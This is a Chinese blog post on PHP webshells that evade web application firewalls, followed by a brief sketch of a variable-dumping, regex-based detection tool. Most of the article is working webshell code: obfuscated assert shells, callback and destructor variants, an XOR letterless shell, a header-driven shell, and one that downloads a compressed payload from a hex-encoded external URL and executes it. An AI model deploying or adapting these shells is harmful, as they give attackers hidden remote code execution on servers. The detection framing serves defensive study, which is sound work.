PHP常见过waf webshell以及最简单的检测方法


Posted in PHP onMay 21, 2019

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

无字符特征马

编码、异或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊请求头

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP常见过waf webshell以及最简单的检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

PHP常见过waf webshell以及最简单的检测方法

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
PHP通用检测函数集合
Nov 25 PHP
获取远程文件大小的php函数
Jan 11 PHP
PHP Reflection API详解
May 12 PHP
文件上传之SWFUpload插件(代码)
Jul 30 PHP
php实现的递归提成方案实例
Nov 14 PHP
php实现简单的上传进度条
Nov 17 PHP
php实现背景图上添加圆形logo图标的方法
Nov 17 PHP
Joomla框架实现字符串截取的方法示例
Jul 18 PHP
PHP调用微博接口实现微博登录的方法示例
Sep 22 PHP
Laravel中10个有用的用法小结
May 06 PHP
Laravel框架实现调用百度翻译API功能示例
May 30 PHP
浅谈如何提高PHP代码质量之端到端集成测试
May 28 PHP
PHP __call()方法实现委托示例
May 20 #PHP
PHP消息队列实现及应用详解【队列处理订单系统和配送系统】
May 20 #PHP
PHP常量define和const的区别详解
May 18 #PHP
thinkphp5框架实现的自定义扩展类操作示例
May 16 #PHP
java解析json方法总结
May 16 #PHP
微信支付之JSAPI公众号支付详解
May 15 #PHP
php获取目录下所有文件及目录(多种方法)(推荐)
May 14 #PHP
You might like
关于手调机和数调机的选择
2021/03/02 无线电
用PHP实现小型站点广告管理
2006/10/09 PHP
PHP中HTTP方式下的Gzip压缩传输方法举偶
2007/02/15 PHP
PHP 表单提交给自己
2008/07/24 PHP
phpadmin如何导入导出大数据文件及php.ini参数修改
2013/02/18 PHP
解决cPanel无法安装php5.2.17
2014/06/22 PHP
Laravel框架控制器的middleware中间件用法分析
2019/09/30 PHP
PHP强制转化的形式整理
2020/05/22 PHP
JavaScript获取图片的原始尺寸以宽度为例
2014/05/04 Javascript
js中的如何定位固定层的位置
2014/06/15 Javascript
JavaScript数据类型检测代码分享
2015/01/26 Javascript
JS实现生成会变大变小的圆环实例
2015/08/05 Javascript
JS中Select下拉列表类(支持输入模糊查询)功能
2017/01/17 Javascript
JavaScript中的子窗口与父窗口的互相调用问题
2017/02/08 Javascript
react系列从零开始_简单谈谈react
2017/07/06 Javascript
详解ajax的data参数错误导致页面崩溃
2018/04/30 Javascript
详解使用 Node.js 开发简单的脚手架工具
2018/06/08 Javascript
微信小程序实现聊天对话(文本、图片)功能
2018/07/06 Javascript
用vuex写了一个购物车H5页面的示例代码
2018/12/04 Javascript
nuxt 实现在其它js文件中使用store的方式
2020/11/05 Javascript
nuxt 服务器渲染动态设置 title和seo关键字的操作
2020/11/05 Javascript
使用python 获取进程pid号的方法
2014/03/10 Python
Python计算一个文件里字数的方法
2015/06/15 Python
Python编程中装饰器的使用示例解析
2016/06/20 Python
django项目运行因中文而乱码报错的几种情况解决
2017/11/07 Python
使用Python进行体育竞技分析(预测球队成绩)
2019/05/16 Python
在自动化中用python实现键盘操作的方法详解
2019/07/19 Python
Python:二维列表下标互换方式(矩阵转置)
2019/12/02 Python
pytorch 指定gpu训练与多gpu并行训练示例
2019/12/31 Python
关于python 跨域处理方式详解
2020/03/28 Python
pycharm 实现本地写代码,服务器运行的操作
2020/06/08 Python
优秀电子工程系毕业生求职信
2014/05/24 职场文书
大学生党员个人对照检查材料范文
2014/09/25 职场文书
Python实现DBSCAN聚类算法并样例测试
2021/06/22 Python
mysql 子查询的使用
2022/04/28 MySQL
Sentry的安装、配置、使用教程(Sentry日志手机系统)
2022/07/23 Python